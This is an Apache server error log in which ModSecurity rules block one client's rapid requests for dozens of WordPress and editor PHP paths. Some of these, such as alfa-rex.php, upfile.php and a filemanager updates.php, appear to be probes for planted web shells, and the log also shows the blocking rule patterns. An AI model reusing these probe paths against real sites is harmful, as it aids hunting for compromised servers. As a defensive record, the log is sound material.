[Sat Nov 22 05:33:41.854520 2025] [:error] [pid 53477:tid 53504] [client 172.161.73.78:10681] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSDatX7Lu30Ku9O40aLW-wAAABc"]
[Sat Nov 22 05:33:43.378605 2025] [:error] [pid 53566:tid 53574] [client 172.161.73.78:38245] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSDat8bSHDBkRbwMbd4wqwAAAMY"]
[Sat Nov 22 05:33:46.753958 2025] [:error] [pid 25856:tid 25868] [client 172.161.73.78:40712] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSDauhsTP0wy94zKUvGlPgAAAQo"]
[Sat Nov 22 05:33:47.675381 2025] [:error] [pid 53478:tid 53531] [client 172.161.73.78:40759] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSDauwhUYdXBbQswAdQMjwAAAFY"]
[Sat Nov 22 05:33:50.563250 2025] [:error] [pid 53477:tid 53494] [client 172.161.73.78:43497] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/wp-login.php"] [unique_id "aSDavn7Lu30Ku9O40aLXHgAAAA0"]
[Sat Nov 22 05:33:55.485611 2025] [:error] [pid 53479:tid 53560] [client 172.161.73.78:63026] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/lv.php"] [unique_id "aSDaw26cicFF3Aas-oRx0wAAAJg"]
[Sat Nov 22 05:33:57.545272 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:48919] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/lv.php"] [unique_id "aSDaxRsTP0wy94zKUvGlTgAAAQQ"]
[Sat Nov 22 05:33:58.912625 2025] [:error] [pid 53477:tid 53484] [client 172.161.73.78:56868] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/lv.php"] [unique_id "aSDaxn7Lu30Ku9O40aLXJgAAAAM"]
[Sat Nov 22 05:34:01.452510 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:63036] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/lv.php"] [unique_id "aSDaycbSHDBkRbwMbd4wwAAAANI"]
[Sat Nov 22 05:34:10.286995 2025] [:error] [pid 53478:tid 53521] [client 172.161.73.78:56893] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aSDa0ghUYdXBbQswAdQMwwAAAEw"]
[Sat Nov 22 05:34:11.718880 2025] [:error] [pid 53566:tid 53579] [client 172.161.73.78:62982] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aSDa08bSHDBkRbwMbd4w1AAAAMs"]
[Sat Nov 22 05:34:12.740682 2025] [:error] [pid 53566:tid 53580] [client 172.161.73.78:56774] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aSDa1MbSHDBkRbwMbd4w2AAAAMw"]
[Sat Nov 22 05:34:14.399652 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:56805] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aSDa1sbSHDBkRbwMbd4w3QAAANY"]
[Sat Nov 22 05:34:21.228853 2025] [:error] [pid 25856:tid 25868] [client 172.161.73.78:45617] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/duplicator/assets/about.php"] [unique_id "aSDa3RsTP0wy94zKUvGlkgAAAQo"]
[Sat Nov 22 05:34:29.444393 2025] [:error] [pid 53477:tid 53488] [client 172.161.73.78:10306] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/duplicator/assets/about.php"] [unique_id "aSDa5X7Lu30Ku9O40aLXVwAAAAc"]
[Sat Nov 22 05:34:30.987700 2025] [:error] [pid 53479:tid 53549] [client 172.161.73.78:55456] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/upfile.php"] [unique_id "aSDa5m6cicFF3Aas-oRyRwAAAI0"]
[Sat Nov 22 05:34:31.754567 2025] [:error] [pid 53478:tid 53526] [client 172.161.73.78:10310] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/upfile.php"] [unique_id "aSDa5whUYdXBbQswAdQM6gAAAFE"]
[Sat Nov 22 05:34:32.626150 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:33974] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/upfile.php"] [unique_id "aSDa6BsTP0wy94zKUvGl1wAAAQA"]
[Sat Nov 22 05:34:33.597135 2025] [:error] [pid 53566:tid 53589] [client 172.161.73.78:33925] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/upfile.php"] [unique_id "aSDa6cbSHDBkRbwMbd4xEQAAANU"]
[Sat Nov 22 05:34:36.766380 2025] [:error] [pid 25856:tid 25881] [client 172.161.73.78:33930] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSDa7BsTP0wy94zKUvGl7gAAARc"]
[Sat Nov 22 05:34:39.425406 2025] [:error] [pid 25856:tid 25868] [client 172.161.73.78:55441] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSDa7xsTP0wy94zKUvGl-wAAAQo"]
[Sat Nov 22 05:34:40.830400 2025] [:error] [pid 53566:tid 53583] [client 172.161.73.78:56884] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSDa8MbSHDBkRbwMbd4xGgAAAM8"]
[Sat Nov 22 05:34:43.144906 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:11258] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/about.php"] [unique_id "aSDa88bSHDBkRbwMbd4xHQAAANY"]
[Sat Nov 22 05:34:49.066455 2025] [:error] [pid 53566:tid 53573] [client 172.161.73.78:10507] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/content.php"] [unique_id "aSDa-cbSHDBkRbwMbd4xKQAAAMU"]
[Sat Nov 22 05:34:49.699674 2025] [:error] [pid 53478:tid 53523] [client 172.161.73.78:10357] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/admin.php"] [unique_id "aSDa-QhUYdXBbQswAdQNFAAAAE4"]
[Sat Nov 22 05:34:51.645301 2025] [:error] [pid 53477:tid 53505] [client 172.161.73.78:33961] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSDa-37Lu30Ku9O40aLXdwAAABg"]
[Sat Nov 22 05:34:54.477898 2025] [proxy_fcgi:error] [pid 53477:tid 53496] [client 172.161.73.78:11239] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:34:54.716394 2025] [:error] [pid 53477:tid 53483] [client 172.161.73.78:11239] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aSDa_n7Lu30Ku9O40aLXfwAAAAI"]
[Sat Nov 22 05:34:59.425845 2025] [proxy_fcgi:error] [pid 25856:tid 25872] [client 172.161.73.78:35845] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:34:59.664158 2025] [:error] [pid 25856:tid 25873] [client 172.161.73.78:35845] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp.php"] [unique_id "aSDbAxsTP0wy94zKUvGmVgAAAQ8"]
[Sat Nov 22 05:35:00.672342 2025] [proxy_fcgi:error] [pid 53477:tid 53503] [client 172.161.73.78:11256] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:35:00.916403 2025] [:error] [pid 53477:tid 53502] [client 172.161.73.78:11256] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aSDbBH7Lu30Ku9O40aLXjwAAABU"]
[Sat Nov 22 05:35:04.889911 2025] [:error] [pid 53479:tid 53551] [client 172.161.73.78:56121] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aSDbCG6cicFF3Aas-oRymAAAAI8"]
[Sat Nov 22 05:35:06.456105 2025] [proxy_fcgi:error] [pid 53478:tid 53516] [client 172.161.73.78:56077] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:35:06.707785 2025] [:error] [pid 53478:tid 53530] [client 172.161.73.78:56077] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php"] [unique_id "aSDbCghUYdXBbQswAdQNMQAAAFU"]
[Sat Nov 22 05:35:26.984224 2025] [proxy_fcgi:error] [pid 53477:tid 53502] [client 172.161.73.78:10438] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:35:27.228951 2025] [:error] [pid 53477:tid 53496] [client 172.161.73.78:10438] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aSDbH37Lu30Ku9O40aLX0wAAAA8"]
[Sat Nov 22 05:35:28.874203 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:10516] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aSDbIBsTP0wy94zKUvGmpgAAAQU"]
[Sat Nov 22 05:35:30.009385 2025] [:error] [pid 53477:tid 53505] [client 172.161.73.78:11085] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aSDbIn7Lu30Ku9O40aLX2AAAABg"]
[Sat Nov 22 05:35:32.994349 2025] [:error] [pid 53566:tid 53571] [client 172.161.73.78:56094] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aSDbJMbSHDBkRbwMbd4xgAAAAMM"]
[Sat Nov 22 05:35:33.970840 2025] [:error] [pid 25856:tid 25871] [client 172.161.73.78:34731] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aSDbJRsTP0wy94zKUvGmqwAAAQ0"]
[Sat Nov 22 05:35:35.459544 2025] [:error] [pid 53477:tid 53483] [client 172.161.73.78:61140] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aSDbJ37Lu30Ku9O40aLX6AAAAAI"]
[Sat Nov 22 05:35:37.874446 2025] [:error] [pid 53477:tid 53499] [client 172.161.73.78:10449] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aSDbKX7Lu30Ku9O40aLX7gAAABI"]
[Sat Nov 22 05:35:40.354489 2025] [:error] [pid 53479:tid 53541] [client 172.161.73.78:10442] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aSDbLG6cicFF3Aas-oRyyQAAAIU"]
[Sat Nov 22 05:35:41.925176 2025] [:error] [pid 25856:tid 25864] [client 172.161.73.78:61124] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aSDbLRsTP0wy94zKUvGmwAAAAQY"]
[Sat Nov 22 05:35:44.429968 2025] [:error] [pid 53478:tid 53517] [client 172.161.73.78:10440] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aSDbMAhUYdXBbQswAdQNfgAAAEg"]
[Sat Nov 22 05:35:45.398899 2025] [:error] [pid 25856:tid 25860] [client 172.161.73.78:11128] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aSDbMRsTP0wy94zKUvGmzwAAAQI"]
[Sat Nov 22 05:35:50.364497 2025] [:error] [pid 53566:tid 53577] [client 172.161.73.78:11116] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aSDbNsbSHDBkRbwMbd4xqwAAAMk"]
[Sat Nov 22 05:35:51.709491 2025] [:error] [pid 25856:tid 25877] [client 172.161.73.78:10474] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aSDbNxsTP0wy94zKUvGm8gAAARM"]
[Sat Nov 22 05:35:54.406406 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:61132] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aSDbOhsTP0wy94zKUvGnCgAAAQA"]
[Sat Nov 22 05:35:57.153649 2025] [:error] [pid 53478:tid 53522] [client 172.161.73.78:11104] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aSDbPQhUYdXBbQswAdQNqgAAAE0"]
[Sat Nov 22 05:36:04.908633 2025] [:error] [pid 53477:tid 53491] [client 172.161.73.78:10437] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aSDbRH7Lu30Ku9O40aLYHgAAAAo"]
[Sat Nov 22 05:36:06.176913 2025] [:error] [pid 25856:tid 25874] [client 172.161.73.78:56118] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aSDbRhsTP0wy94zKUvGnIgAAARA"]
[Sat Nov 22 05:36:11.038469 2025] [:error] [pid 53477:tid 53501] [client 172.161.73.78:56082] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aSDbS37Lu30Ku9O40aLYKQAAABQ"]
[Sat Nov 22 05:36:13.233423 2025] [:error] [pid 25856:tid 25881] [client 172.161.73.78:56086] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aSDbTRsTP0wy94zKUvGnNQAAARc"]
[Sat Nov 22 05:36:14.570581 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:10478] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aSDbThsTP0wy94zKUvGnOAAAAQE"]
[Sat Nov 22 05:36:15.605372 2025] [:error] [pid 53479:tid 53536] [client 172.161.73.78:61145] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Response/wp-login.php"] [unique_id "aSDbT26cicFF3Aas-oRzDQAAAIA"]
[Sat Nov 22 05:36:16.520564 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:11118] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aSDbUBsTP0wy94zKUvGnPgAAAQs"]
